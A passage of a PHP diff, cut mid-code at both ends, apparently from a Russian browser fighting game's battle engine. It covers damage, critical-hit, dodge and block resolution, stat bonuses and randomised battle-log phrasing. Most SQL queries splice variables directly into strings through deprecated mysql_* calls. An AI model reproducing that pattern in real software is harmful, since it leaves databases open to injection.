    '); + } + } + } + } + } elseif(!$this->get_blocks($this->user['id'], $this->battle[$enemy][$this->user['id']][0], $enemy, $this->battle[$this->user['id']][$enemy][1])) { + $yron = $mfs['he']['udar']; + $hp_u = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `users` WHERE `id` = "'.$this->user['id'].'" LIMIT 1')); + if($hp_u['hp'] < $mfs['he']['udar']) { + $yron = $hp_u['hp']; + } + + $this->damage[$enemy] += $yron; + $jv = ($this->user['hp']-$yron); + $this->exp[$enemy] += SolveExp($enemy, $this->user['id'], $yron); + $this->AddToLog($this->razmen_log("udar", $this->battle[$enemy][$this->user['id']][0], $this->GetWeaponType($this->enemyhar['weap']), $yron, $enemy, $color['me'], $this->user['id'], $color['he'], ($this->user['hp']-$yron), $this->user['maxhp'])); + mysql_query('UPDATE `users` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$this->user['id'].'" LIMIT 1'); + } else { + $this->AddToLog($this->razmen_log("block", $this->battle[$enemy][$this->user['id']][1], $this->GetWeaponType($this->enemyhar['weap']), 0, $enemy, $color['me'], $this->user['id'], $color['he'], 0, 0)); + } + + if($mfs['he']['chanse'] > 0) { + $uvorothe = $this->chanse($mfs['he']['chanse']); + } else { + $uvorothe = false; + } + + if($mfs['me']['chanse_krit'] > 0) { + $kritme = $this->chanse($mfs['me']['chanse_krit']); + } else { + $kritme = false; + } + + if($uvorothe && !$kritme) { + $uve_1 = 1; + } elseif(!$uvorothe && $kritme) { + $uve_1 = 2; + } elseif($uvorothe && $kritme) { + $uve_1 = rand(1, 2); + } else { + $uve_1 = 0; + } + + if($uve_1 == 1) { + $this->AddToLog($this->razmen_log("uvorot", $attack, $this->GetWeaponType($this->user['weap']), 0, $this->user['id'], $color['me'], $enemy, $color['he'], 0, 0)); + } elseif($uve_1 == 2) { + if($this->get_blocks($enemy, $this->battle[$this->user['id']][$enemy][0], $this->user['id'], $this->battle[$enemy][$this->user['id']][1])) { + $hs = 1; $m = 'a'; + } else { + $hs = 2; $m = ''; + } + $yron = $mfs['me']['udar']*$hs; + if($enemy > _BOTSEPARATOR_) { + $hp_u = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `bots` WHERE `id` = "'.$enemy.'" LIMIT 1')); + } else { + $hp_u = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `users` WHERE `id` = "'.$enemy.'" LIMIT 1')); + } + if($hp_u['hp'] < $yron) { + $yron = $hp_u['hp']; + } + + $this->damage[$this->user['id']] += $yron; + $this->exp[$this->user['id']] += SolveExp($this->user['id'], $enemy, $yron); + $this->AddToLog($this->razmen_log("krit".$m, $attack, $this->GetWeaponType($this->user['weap']), $yron, $this->user['id'], $color['me'], $enemy, $color['he'], ($this->enemyhar['hp']-$yron), $this->enemyhar['maxhp'])); + + if($enemy > _BOTSEPARATOR_) { + mysql_query('UPDATE `bots` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$enemy.'" LIMIT 1'); + } else { + mysql_query('UPDATE `users` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$enemy.'" LIMIT 1'); + + $tmpen = mysql_fetch_array(mysql_query("SELECT `id`, `align`, `hp`, `level` FROM `users` WHERE `id`= '{$enemy}' LIMIT 1")); + if(!($tmpen['align'] == '2' || $tmpen['align'] == '8.31')) { + $tmphp = $tmpen['hp']; + if($tmphp <= 0) { + if(mt_rand(0, 100) <= 40 && $tmpen['level'] > 6) { + $tr = settravma($tmpen['id'], $tmptravma, 86400, 0); + if($tmpen['id'] < _BOTSEPARATOR_) { + $this->AddToLog(''.date("H:i").' '.nick7($tmpen['id']).' получил повреждение: '.$tr.'
    '); + } + } + } + } + } + } elseif($this->get_blocks("he", $this->battle[$this->user['id']][$enemy][0], $this->user['id'], $this->battle[$enemy][$this->user['id']][1])) { + $yron = $mfs['me']['udar']; + if($enemy > _BOTSEPARATOR_) { + $hp_u = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `bots` WHERE `id` = "'.$enemy.'" LIMIT 1')); + } else { + $hp_u = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `users` WHERE `id` = "'.$enemy.'" LIMIT 1')); + } + if($hp_u['hp'] < $yron) { + $yron = $hp_u['hp']; + } + $this->damage[$this->user['id']] += $yron; + $this->exp[$this->user['id']] += SolveExp($this->user['id'], $enemy, $yron); + $this->AddToLog($this->razmen_log("udar", $attack, $this->GetWeaponType($this->user['weap']), $yron, $this->user['id'], $color['me'], $enemy, $color['he'], ($this->enemyhar['hp']-$yron), $this->enemyhar['maxhp'])); + + if($enemy > _BOTSEPARATOR_) { + mysql_query('UPDATE `bots` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$enemy.'" LIMIT 1'); + } else { + mysql_query('UPDATE `users` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$enemy.'" LIMIT 1'); + } + } else { + $this->AddToLog($this->razmen_log("block", $defend, $this->GetWeaponType($this->user['weap']), 0, $this->user['id'], $color['me'], $enemy, $color['he'], 0, 0)); + } + + $this->battle[$enemy][$this->user['id']] = array(0, 0, time()); + mysql_query("UPDATE `battle` SET `to1` = '".time()."', `to2` = '".time()."' WHERE `id` = '".$this->user['battle']."' LIMIT 1"); + $this->UpdateBattle(); + + } else { + $this->battle[$this->user['id']][$enemy] = array($attack, $defend, time()); + if($this->my_class == "B1" && $jv > 0) { + mysql_query("UPDATE `battle` SET `to1` = '".time()."', `to2` = '".(time()-1)."' WHERE `id` = '".$this->battle_data['id']."' LIMIT 1"); + } elseif($jv > 0) { + mysql_query("UPDATE `battle` SET `to2` = '".time()."', `to1` = '".(time()-1)."' WHERE `id` = '".$this->battle_data['id']."' LIMIT 1"); + } else { + mysql_query("UPDATE `battle` SET `to2` = '".time()."', `to1` = '".(time())."' WHERE `id` = '".$this->battle_data['id']."' LIMIT 1"); + } + $this->UpdateBattle(); + header("Location: ".$_SERVER['PHP_SELF'].""); + die(); + } + } else { + return false; + } + } + + function addAction($time, $vars, $vls, $uid = NULL) { + if($uid == NULL) { + $uid = $this->user['id']; + } + $ins = mysql_query('INSERT INTO `actions` (`uid`, `time`, `city`, `room`, `vars`, `ip`, `vals`) VALUES ("'.$uid.'", "'.$time.'", "capitalcity", "0", "'.mysql_real_escape_string($vars).'", "'.mysql_real_escape_string($_SERVER['HTTP_X_REAL_IP']).'", "'.mysql_real_escape_string($vls).'")'); + if($ins) { + return true; + } else { + return false; + } + } + + function GetWeaponType($idwep) { + if($idwep == 0 || $idwep == null || $idwep == '') { + return "kulak"; + } + + $wep = mysql_fetch_array(mysql_query("SELECT `otdel`, `minu` FROM `inventory` WHERE `id` = '{$idwep}' LIMIT 1")); + if($wep[0] == '1') { + return "noj"; + } elseif($wep[0] == '12') { + return "dubina"; + } elseif($wep[0] == '11') { + return "topor"; + } elseif($wep[0] == '13') { + return "mech"; + } elseif($wep[1] > 0) { + return "buket"; + } else { + return "kulak"; + } + } + + function razmen_log($type, $kuda, $chem, $uron, $kto, $c1, $pokomy, $c2, $hp, $maxhp) { + $color = $this->gen_color($kto, $pokomy); + if($this->enemyhar['sex'] && $kto == $this->enemyhar['id']) { $sex1 = false; } + if(!$this->enemyhar['sex'] && $kto == $this->enemyhar['id']) { $sex1 = true; } + if($this->enemyhar['sex'] && $pokomy == $this->enemyhar['id']) { $sex2 = false; } + if(!$this->enemyhar['sex'] && $pokomy == $this->enemyhar['id']) { $sex2 = true; } + + if($this->user['sex'] && $kto == $this->user['id']) { $sex1 = false; } + if(!$this->user['sex'] && $kto == $this->user['id']) { $sex1 = true; } + if($this->user['sex'] && $pokomy == $this->user['id']) { $sex2 = false; } + if(!$this->user['sex'] && $pokomy == $this->user['id']) { $sex2 = true; } + + if($hp < 0) { $hp = 0; } + + $hiden_warior = mysql_fetch_array(mysql_query('SELECT `id`, `invis` FROM `users` WHERE `id` = "'.$pokomy.'" LIMIT 1')); + if($hiden_warior['invis'] == 1) { + $hp = '??'; + $maxhp = '??'; + $uron = '??'; + } + + if(!$sex1) { + $textfail = array('думал о <вырезано цензурой>, вследствие чего', 'пытался нанести удар, но ', 'подскользнулся, и', 'старался провести удар, но', 'закашлялся, и', 'пытался провести удар, но', 'потерял самоконтроль, вследствие чего', 'думал не о том, и'); + } else { + $textfail = array('думала о <вырезано цензурой>, вследствие чего', 'пыталась нанести удар, но ', 'подскользнулась, и', 'старалась провести удар, но', 'закашлялась, и', 'пыталась провести удар, но ', 'потеряла самоконтроль, вследствие чего', 'думала не о том, и'); + } + + $textchem = array ( + "kulak" => array("грудью","ребром руки","лбом","кулаком","ногой","левой ногой","правой ногой","коленом"), + "noj" => array("ножом","тыльной стороной лезвия ножа","рукоятью ножа","лезвием ножа"), + "dubina" => array("сучковатой палкой","поленом","тяжелой дубиной","дубиной","рукоятью молота"), + "topor" => array("секирой","топором","лезвием секиры","алебардой","тяжелым держаком","длинной секирой"), + "mech" => array("ножнами","гардой","мечом","лезвием меча","рукоятью меча","тупым лезвием","острой стороной меча","огромным мечом",), + "buket" => array("охапкой цветов","веником","букетом","колючками","снопом","стеблем","листьями","бутоном",) + ); + + $textchem = $textchem[$chem]; + + $udars = array( + 1 => array('в нос','в глаз','в челюсть','по переносице','в кадык','по затылку','в правый глаз','в левый глаз','в скулу'), + 2 => array('в грудь','в корпус','в солнечное сплетение','в сердце','в бок','в область лопаток','по желудку','по левой руке','по правой руке'), + 3 => array('по <вырезано цензурой>','в пах','в промежность','по левой ягодице','по правой ягодице'), + 4 => array('по ногам','в область правой пятки','в область левой пятки','по коленной чашечке','по икрам') + ); + + $kuda = $udars[$kuda][mt_rand(0, count($udars[$kuda])-1)]; + + if(!$sex1) { + $hark = array('бесчувственный','расстроенный','храбрый','обезумевший','неустрашимый','злобный','жестокий','наглый','разъяренный','продвинутый','хитрый','мужественный','','','','','',''); + } else { + $hark = array('бесчувственная','расстроенная','храбрая','обезумевшая','неустрашимая','злобная','жестокая','наглая', 'разъяренная','продвинутая','хитрая','прекрасная','','','','','',''); + } + + if(!$sex2) { + $hark2 = array('бесчувственный','расстроенный','храбрый','обезумевший','неустрашимый','злобный','жестокий','наглый','разъяренный','продвинутый','хитрый','мужественный','','','','','',''); + } else { + $hark2 = array('бесчувственная','расстроенная','храбрая','обезумевшая','неустрашимая','злобная','жестокая','наглая','разъяренная','продвинутая','хитрая','прекрасная','','','','','',''); + } + + if(!$sex2) { + $textud = array('забылся, и тут', 'замешкался, и за это', 'растерялся, как вдруг', 'ковырялся в зубах, и тут', 'поперхнулся, но вдруг', 'пытался что-то сказать но вдруг, неожиданно', 'растерялся, как вдруг', 'засмотрелся на <вырезано цензурой>, а в это время', 'высморкался, и в это время', 'думал не о том, и', 'пришел в себя, но в это время', 'обернулся, как внезапно'); + } else { + $textud = array('забылась, и тут', 'замешкалась, и за это ', 'растерялась, как вдруг ', 'ковырялась в зубах, и тут ', 'поперхнулась, но вдруг ', 'пыталась что-то сказать но вдруг, неожиданно', 'растерялась, как вдруг', 'засмотрелась на <вырезано цензурой>, а в это время', 'высморкалась, и в это время', 'думала не о том, и', 'пришла в себя, но в это время ', 'обернулась, как внезапно'); + } + + switch($type) { + case "uvorot": + if($sex2) { + $textuvorot = array(" уклонилась от удара "," увернулась от удара "," отскочила от удара "); + } else { + $textuvorot = array(" уклонился от удара "," увернулся от удара "," отскочил от удара "); + } + return ''.date("H:i").' '.nick5($kto, $color['me']).' '.$textfail[mt_rand(0, count($textfail)-1)].' '.$hark2[mt_rand(0,count($hark2)-1)].' '.nick5($pokomy, $color['he']).' '.$textuvorot[mt_rand(0,count($textuvorot)-1)].' '.$textchem[mt_rand(0,count($textchem)-1)].' '.$kuda.'.
    '; + break; + + case "block": + if($sex2) { + $textblock = array(" заблокировала удар "," остановила удар "," отбила удар "); + } else { + $textblock = array(" заблокировал удар "," остановил удар "," отбил удар "); + } + return ''.date("H:i").' '.nick5($kto, $color['me']).' '.$textfail[mt_rand(0, count($textfail)-1)].' '.$hark2[mt_rand(0, count($hark2)-1)].' '.nick5($pokomy, $color['he']).' '.$textblock[mt_rand(0,count($textblock)-1)].' '.$textchem[mt_rand(0,count($textchem)-1)].' '.$kuda.'.
    '; + break; + + case "krit": + if($sex1) { + $textkrit = array(", напугав всех, неслышно подойдя сзади ударила по голове булыжником оппонента.",", сказав \"БУ!\", ласково заломила руку за спину соперника.",", расслабившись, расцарапала нос соперника.",", показав сразу два пальца, наступила на ногу врага.",", напугав всех, укусила в нос противника.",", проклиная этот сайт, провела ужасный бросок через пупок оппонента."); + } else { + $textkrit = array(", напугав всех, неслышно подойдя сзади ударил по голове булыжником оппонента.",", сказав \"БУ!\", ласково заломил руку за спину соперника.",", расслабившись, расцарапал нос соперника.",", показав сразу два пальца, наступил на ногу врага.",", напугав всех, укусил в нос противника.",", проклиная этот сайт, провел ужасный бросок через пупок оппонента."); + } + return ''.date("H:i").' '.nick5($pokomy, $color['he']).' '.$textud[mt_rand(0, count($textud)-1)].' '.$hark[mt_rand(0,count($hark)-1)].' '.nick5($kto, $color['me']).' '.$textkrit[mt_rand(0,count($textkrit)-1)].' -'.$uron.' ['.$hp.'/'.$maxhp.']'.'
    '; + break; + + case "krita": + if($sex1) { + $textkrit = array(", напугав всех, неслышно подойдя сзади ударила, пробив блок, по голове булыжником оппонента.",", пробив блок, ласково заломила руку за спину соперника.",", пробив блок, расцарапала нос соперника.",", пробив блок, наступила на ногу врага.",", пробив блок, укусила в нос противника.",", пробив блок, провела ужасный бросок через пупок оппонента."); + } else { + $textkrit = array(", напугав всех, неслышно подойдя сзади ударил, пробив блок, по голове булыжником оппонента.",", пробив блок, ласково заломил руку за спину соперника.",", пробив блок, расцарапал нос соперника.",", пробив блок, наступил на ногу врага.",", пробив блок, укусил в нос противника.",", пробив блок, провел ужасный бросок через пупок оппонента."); + } + return ''.date("H:i").' '.nick5($pokomy, $color['he']).' '.$textud[mt_rand(0, count($textud)-1)].' '.$hark[mt_rand(0, count($hark)-1)].' '.nick5($kto, $color['me']).' '.$textkrit[mt_rand(0,count($textkrit)-1)].' -'.$uron.' ['.$hp.'/'.$maxhp.']'.'
    '; + break; + + case "udar": + if($sex1) { + $textudar = array(", разбежавшись, рубанула"," отчаянно проткнула "," нехотя уколола "," не подумав, рубанула ",", улыбаясь, саданула укол "," приложила удар "," ударила "," сдуру вмазала "); + } else { + $textudar = array(", разбежавшись, рубанул"," отчаянно проткнул "," нехотя уколол "," не подумав, рубанул ",", улыбаясь, саданул укол "," приложил удар "," ударил "," сдуру вмазал "); + } + return ''.date("H:i").' '.nick5($pokomy, $color['he']).' '.$textud[mt_rand(0, count($textud)-1)].' '.$hark[mt_rand(0, count($hark)-1)].' '.nick5($kto, $color['me']).''.$textudar[mt_rand(0,count($textudar)-1)].' '.$textchem[mt_rand(0,count($textchem)-1)].' '.$kuda.' -'.$uron.' ['.$hp.'/'.$maxhp.']'.'
    '; + break; + } + } + + function get_blocks($where_atack, $where_defend) { + $blocks = array('1' => array(1, 2), '2' => array(2, 3), '3' => array(3, 4), '4' => array(4, 1)); + if(!in_array($where_atack, $blocks[$where_defend])) { + return true; + } else { + return false; + } + } + + function GetBlock($komy, $att, $def, $enemy) { + $blocks = array(1 => array(1, 2), 2 => array(2, 3), 3 => array(3, 4), 4 => array(4, 1)); + + switch($komy) { + case "me" : + if(in_array($this->battle[$enemy][$this->user['id']][0], $blocks[$def])) { + return true; + } else { + return false; + } + break; + + case "he" : + if(in_array($this->battle[$enemy][$this->user['id']][1], $blocks[$att])) { + return true; + } else { + return false; + } + break; + } + } + + function GetChance($percent) { + $mm = 1; + if(rand($mm, 100*$mm) <= $percent*$mm) { + return true; + } else { + return false; + } + } + + function SelectEnemy() { + if(($this->user['hp'] > 0) && $this->battle) { + foreach($this->battle[$this->user['id']] as $k => $v) { + if($this->battle[$this->user['id']][$k][0] == 0) { + $enemies[] = $k; + } + } + + if(isset($enemies[0])) { + $enemy = $enemies[mt_rand(0, count($enemies)-1)]; + if($enemy > 0) { + return $enemy; + } + } else { + return false; + } + } else { + return false; + } + } + + function chancebymf($mf, $antimf, $min = 1, $max = 85, $mid = 10, $div = 250) { + if($mf <= $antimf) return 0; + $diff = 1-pow(0.5, abs($mf-$antimf)/$div); + if($mf > $antimf) { + return ($max-$mid)*$diff+$mid; + } else { + return ($mid-$min)*(1-$diff)+$min; + } + $min = $min/100; + $max = $max/100; + $diffup = (1/(1+(abs($mf-$antimf)/(($max-$mid)*100)))); + $diffdown = (1/(1+(abs($mf-$antimf)/(($mid-$min)*100)))); + $ret = $mid; + if($mf > $antimf) { + $ret = $ret*(2-$diff); + } else { + $ret = $ret*$diff; + } + if($ret < $min) { + $ret = $min; + } + if($ret > $max) { + $ret = $max; + } + return (int)round($ret*100); + } + + function check_bonus($uid) { + $us = mysql_fetch_array(mysql_query('SELECT `id`, `sila`, `lovk`, `inta`, `vinos` FROM `users` WHERE `id` = "'.mysql_real_escape_string($uid).'" LIMIT 1')); + $i_uminu = 0; + $i_fkrit = 0; + $i_fauvorot = 0; + $i_fakrit = 0; + $i_umaxu = 0; + + if($us['sila'] >= 25) { $sila['fauvorot'] = 10; $sila['fakrit'] = 10; $sila['uminu'] = 0; $sila['umaxu'] = 0; } + if($us['sila'] >= 50) { $sila['fauvorot'] = 20; $sila['fakrit'] = 25; $sila['uminu'] = 0; $sila['umaxu'] = 0; } + if($us['sila'] >= 75) { $sila['fauvorot'] = 30; $sila['fakrit'] = 40; $sila['uminu'] = 0; $sila['umaxu'] = 0; } + if($us['sila'] >= 100) { $sila['fauvorot'] = 40; $sila['fakrit'] = 50; $sila['uminu'] = 2; $sila['umaxu'] = 2; } + if($us['sila'] >= 125) { $sila['fauvorot'] = 60; $sila['fakrit'] = 75; $sila['uminu'] = 5; $sila['umaxu'] = 5; } + if($us['sila'] >= 150) { $sila['fauvorot'] = 90; $sila['fakrit'] = 110; $sila['uminu'] = 8; $sila['umaxu'] = 8; } + if($us['sila'] >= 175) { $sila['fauvorot'] = 120; $sila['fakrit'] = 150; $sila['uminu'] = 12; $sila['umaxu'] = 12; } + if($us['sila'] >= 200) { $sila['fauvorot'] = 150; $sila['fakrit'] = 200; $sila['uminu'] = 15; $sila['umaxu'] = 15; } + if($us['lovk'] >= 25) { $lovk['fuvorot'] = 10; $lovk['fauvorot'] = 10; $lovk['fakrit'] = 20; $lovk['uminu'] = 0; $lovk['umaxu'] = 0; } + if($us['lovk'] >= 50) { $lovk['fuvorot'] = 20; $lovk['fauvorot'] = 25; $lovk['fakrit'] = 40; $lovk['uminu'] = 0; $lovk['umaxu'] = 0; } + if($us['lovk'] >= 75) { $lovk['fuvorot'] = 30; $lovk['fauvorot'] = 30; $lovk['fakrit'] = 60; $lovk['uminu'] = 0; $lovk['umaxu'] = 0; } + if($us['lovk'] >= 100) { $lovk['fuvorot'] = 40; $lovk['fauvorot'] = 40; $lovk['fakrit'] = 75; $lovk['uminu'] = 5; $lovk['umaxu'] = 5; } + if($us['lovk'] >= 125) { $lovk['fuvorot'] = 40; $lovk['fauvorot'] = 70; $lovk['fakrit'] = 90; $lovk['uminu'] = 6; $lovk['umaxu'] = 6; } + if($us['lovk'] >= 150) { $lovk['fuvorot'] = 40; $lovk['fauvorot'] = 150; $lovk['fakrit'] = 120; $lovk['uminu'] = 8; $lovk['umaxu'] = 8; } + if($us['lovk'] >= 175) { $lovk['fuvorot'] = 40; $lovk['fauvorot'] = 200; $lovk['fakrit'] = 140; $lovk['uminu'] = 10; $lovk['umaxu'] = 10; } + if($us['lovk'] >= 200) { $lovk['fuvorot'] = 40; $lovk['fauvorot'] = 250; $lovk['fakrit'] = 160; $lovk['uminu'] = 15; $lovk['umaxu'] = 15; } + if($us['inta'] >= 25) { $inta['fkrit'] = 10; $inta['fauvorot'] = 10; $inta['fakrit'] = 15; $inta['uminu'] = 0; $inta['umaxu'] = 0; } + if($us['inta'] >= 50) { $inta['fkrit'] = 25; $inta['fauvorot'] = 25; $inta['fakrit'] = 25; $inta['uminu'] = 0; $inta['umaxu'] = 0; } + if($us['inta'] >= 75) { $inta['fkrit'] = 60; $inta['fauvorot'] = 30; $inta['fakrit'] = 30; $inta['uminu'] = 0; $inta['umaxu'] = 0; } + if($us['inta'] >= 100) { $inta['fkrit'] = 40; $inta['fauvorot'] = 40; $inta['fakrit'] = 75; $inta['uminu'] = 0; $inta['umaxu'] = 0; } + if($us['inta'] >= 125) { $inta['fkrit'] = 40; $inta['fauvorot'] = 50; $inta['fakrit'] = 100; $inta['uminu'] = 1; $inta['umaxu'] = 1; } + if($us['inta'] >= 150) { $inta['fkrit'] = 60; $inta['fauvorot'] = 40; $inta['fakrit'] = 130; $inta['uminu'] = 5; $inta['umaxu'] = 5; } + if($us['inta'] >= 175) { $inta['fkrit'] = 40; $inta['fauvorot'] = 80; $inta['fakrit'] = 170; $inta['uminu'] = 10; $inta['umaxu'] = 10; } + if($us['inta'] >= 200) { $inta['fkrit'] = 40; $inta['fauvorot'] = 120; $inta['fakrit'] = 200; $inta['uminu'] = 15; $inta['umaxu'] = 15; } + if($us['vinos'] >= 25) { $vinos['fkrit'] = 10; $vinos['fauvorot'] = 10; $vinos['fakrit'] = 15; $vinos['uminu'] = 0; $vinos['umaxu'] = 0; } + if($us['vinos'] >= 50) { $vinos['fkrit'] = 25; $vinos['fauvorot'] = 25; $vinos['fakrit'] = 25; $vinos['uminu'] = 0; $vinos['umaxu'] = 0; } + if($us['vinos'] >= 75) { $vinos['fkrit'] = 60; $vinos['fauvorot'] = 30; $vinos['fakrit'] = 30; $vinos['uminu'] = 0; $vinos['umaxu'] = 0; } + if($us['vinos'] >= 100) { $vinos['fkrit'] = 40; $vinos['fauvorot'] = 40; $vinos['fakrit'] = 75; $vinos['uminu'] = 0; $vinos['umaxu'] = 1; } + if($us['vinos'] >= 125) { $vinos['fkrit'] = 40; $vinos['fauvorot'] = 50; $vinos['fakrit'] = 100; $vinos['uminu'] = 1; $vinos['umaxu'] = 1; } + if($us['vinos'] >= 150) { $vinos['fkrit'] = 60; $vinos['fauvorot'] = 40; $vinos['fakrit'] = 130; $vinos['uminu'] = 5; $vinos['umaxu'] = 5; } + if($us['vinos'] >= 175) { $vinos['fkrit'] = 40; $vinos['fauvorot'] = 80; $vinos['fakrit'] = 170; $vinos['uminu'] = 10; $vinos['umaxu'] = 10; } + if($us['vinos'] >= 200) { $vinos['fkrit'] = 40; $vinos['fauvorot'] = 120; $vinos['fakrit'] = 200; $vinos['uminu'] = 15; $vinos['umaxu'] = 15; } + + if($us['vinos'] >= $us['sila'] && $us['vinos'] >= $us['lovk'] && $us['vinos'] >= $us['inta']) { + $i_uminu = $vinos['uminu']; + $i_fkrit = $vinos['fkrit']; + $i_fauvorot = $vinos['fauvorot']; + $i_fakrit = $vinos['fakrit']; + $i_umaxu = $vinos['umaxu']; + } + + if($us['inta'] >= $us['sila'] && $us['inta'] >= $us['lovk'] && $us['inta'] >= $us['vinos']) { + $i_uminu = $inta['uminu']; + $i_fkrit = $inta['fkrit']; + $i_fauvorot = $inta['fauvorot']; + $i_fakrit = $inta['fakrit']; + $i_umaxu = $inta['umaxu']; + } + + if($us['lovk'] >= $us['sila'] && $us['lovk'] >= $us['inta']&& $us['lovk'] >= $us['vinos']) { + $i_uminu = $lovk['uminu']; + $i_fkrit = $lovk['fkrit']; + $i_fauvorot = $lovk['fauvorot']; + $i_fakrit = $lovk['fakrit']; + $i_umaxu = $lovk['umaxu']; + } + + if($us['sila'] >= $us['lovk'] && $us['sila'] >= $us['inta'] && $us['sila'] >= $us['vinos']) { + $i_uminu = $sila['uminu']; + $i_fkrit = $sila['fkrit']; + $i_fauvorot = $sila['fauvorot']; + $i_fakrit = $sila['fakrit']; + $i_umaxu = $sila['umaxu']; + } + + return array('minu' => $i_uminu, 'maxu' => $i_umaxu, 'fkrit' => $i_fkrit, 'fauvorot' => $i_fauvorot, 'fakrit' => $i_fakrit); + } + + function solve_mfs($user_1, $user_2, $attack) { + $mfs = array(); + + $uid_1 = $this->get_info_by_id($user_1); + $uid_2 = $this->get_info_by_id($user_2); + + $b_u_1 = $this->check_bonus($uid_1['id']); + $b_u_2 = $this->check_bonus($uid_2['id']); + + $zo = mysql_fetch_row(mysql_query("SELECT `id` FROM `effects` WHERE `type` = 201 AND `owner` = '".$uid_1['id']."' LIMIT 1")); + $zo1 = mysql_fetch_row(mysql_query("SELECT `id` FROM `effects` WHERE `type` = 201 AND `owner` = '".$uid_2['id']."' LIMIT 1")); + $sokr = mysql_fetch_row(mysql_query("SELECT `id` FROM `effects` WHERE `type` = 202 AND `owner` = '".$uid_1['id']."' LIMIT 1")); + $sokr1 = mysql_fetch_row(mysql_query("SELECT `id` FROM `effects` WHERE `type` = 202 AND `owner` = '".$uid_2['id']."' LIMIT 1")); + + if($sokr[0] > 0) { $bmfud = 5; } else { $bmfud = 0; } + if($zo[0] > 0) { $bmfbron = 25; } else { $bmfbron = 0; } + if($sokr1[0] > 0) { $bmfud1 = 5; } else { $bmfud1 = 0; } + if($zo1[0] > 0) { $bmfbron1 = 25; } else { $bmfbron1 = 0; } + + if($user_2 > _BOTSEPARATOR_) { + $bots = mysql_fetch_array(mysql_query('SELECT `id`, `name`, `prototype`, `battle`, `hp` FROM `bots` WHERE `id` = "'.$user_2.'" LIMIT 1')); + $this->enemyhar = mysql_fetch_array(mysql_query('SELECT * FROM `users` WHERE `id` = "'.$bots['prototype'].'" LIMIT 1')); + $this->enemy_dress = mysql_fetch_array(mysql_query('SELECT SUM(`minu`), SUM(`maxu`), SUM(`mfkrit`), SUM(`mfakrit`), SUM(`mfuvorot`), SUM(`mfauvorot`), SUM(`bron1`), SUM(`bron2`), SUM(`bron3`), SUM(`bron4`) FROM `inventory` WHERE `dressed` = 1 AND `owner` = "'.$this->enemyhar['id'].'"')); + $this->enemyhar['hp'] = $bots['hp']; + } else { + $this->enemyhar = mysql_fetch_array(mysql_query('SELECT * FROM `users` WHERE `id` = "'.$uid_2['id'].'" LIMIT 1')); + $this->enemy_dress = mysql_fetch_array(mysql_query('SELECT SUM(`minu`), SUM(`maxu`), SUM(`mfkrit`), SUM(`mfakrit`), SUM(`mfuvorot`), SUM(`mfauvorot`), SUM(`bron1`), SUM(`bron2`), SUM(`bron3`), SUM(`bron4`) FROM `inventory` WHERE `dressed` = 1 AND `owner` = "'.$uid_2['id'].'"')); + } + + $this->user_dress = mysql_fetch_array(mysql_query('SELECT SUM(`minu`), SUM(`maxu`), SUM(`mfkrit`), SUM(`mfakrit`), SUM(`mfuvorot`), SUM(`mfauvorot`), SUM(`bron1`), SUM(`bron2`), SUM(`bron3`), SUM(`bron4`) FROM `inventory` WHERE `dressed` = 1 AND `owner` = "'.$uid_1['id'].'"')); + + $this->enemy_dress[6] += $bmfbron1; + $this->enemy_dress[7] += $bmfbron1; + $this->enemy_dress[8] += $bmfbron1; + $this->enemy_dress[9] += $bmfbron1; + $this->user_dress[6] += $bmfbron; + $this->user_dress[7] += $bmfbron; + $this->user_dress[8] += $bmfbron; + $this->user_dress[9] += $bmfbron; + + $mykrit = floor($this->user_dress[2]+($uid_1['inta']*2.95)+$b_u_1['fkrit']); + $heakrit = floor($this->enemy_dress[3]+($uid_2['inta']*2.75)+$b_u_2['fkrit']); + $myuvorot = floor($this->user_dress[4]+$uid_1['lovk']*5); #5 #3 + $heauvorot = floor($this->enemy_dress[5]+$uid_2['lovk']*4); #4 #7 #6 + $he_koef_armor = $this->enemy_dress[5+$attack]/50; + $mfs['me'] = array( + 'udars' => rand(floor($uid_1['sila']/3)+$b_u_1['minu']+1+$this->user_dress[0], floor($uid_1['sila']/3)+$b_u_1['maxu']+4+$this->user_dress[1]), + 'chanse' => $this->getmfs($myuvorot, $heauvorot), + 'chanse_krit' => $this->getmfs($mykrit, $heakrit) + ); + $mfs['me']['udar'] = $mfs['me']['udars']-($this->enemy_dress[5+$attack]*$he_koef_armor); + + $uron_vlad_me = 0; + switch($this->GetWeaponType($uid_1['weap'])) { + case "noj": $uron_vlad_me += $uid_1['noj']; break; + case "dubina": $uron_vlad_me += $uid_1['dubina']; break; + case "topor": $uron_vlad_me += $uid_1['topor']; break; + case "mech": $uron_vlad_me += $uid_1['mec']; break; + default : 0; break; + } + $mfs['me']['udar'] += $uron_vlad_me; + + if($bmfud > 5) { $mfs['me']['udar'] += $bmfud; } + if($mfs['me']['udar'] < 0) { $mfs['me']['udar'] = 0; } + if($bmfud <= 5) { $mfs['me']['udar'] += $bmfud; } + + + $mfs['me']['udar'] = round($mfs['me']['udar']); + if($mfs['me']['udar'] < 1) { $mfs['me']['udar'] = 1; } + + #$this->AddToLog('{Id = '.$uid_1['id'].'| No_Koef = '.$mfs['me']['udars'].'| Finish = '.$mfs['me']['udar'].'| Koef = '.$he_koef_armor.'| Armor = '.$this->enemy_dress[5+$attack].' | Um = '.$uron_vlad_me.'| Weap = '.$this->GetWeaponType($uid_1['weap']).'| Function = '.$mfs['me']['udars'].'-'.($this->enemy_dress[5+$attack]*$he_koef_armor).'| Min = '.(floor($uid_1['sila']/3)+$b_u_1['minu']+1+$this->user_dress[0]).'| Max = '.(floor($uid_1['sila']/3)+$b_u_1['maxu']+4+$this->user_dress[1]).'}
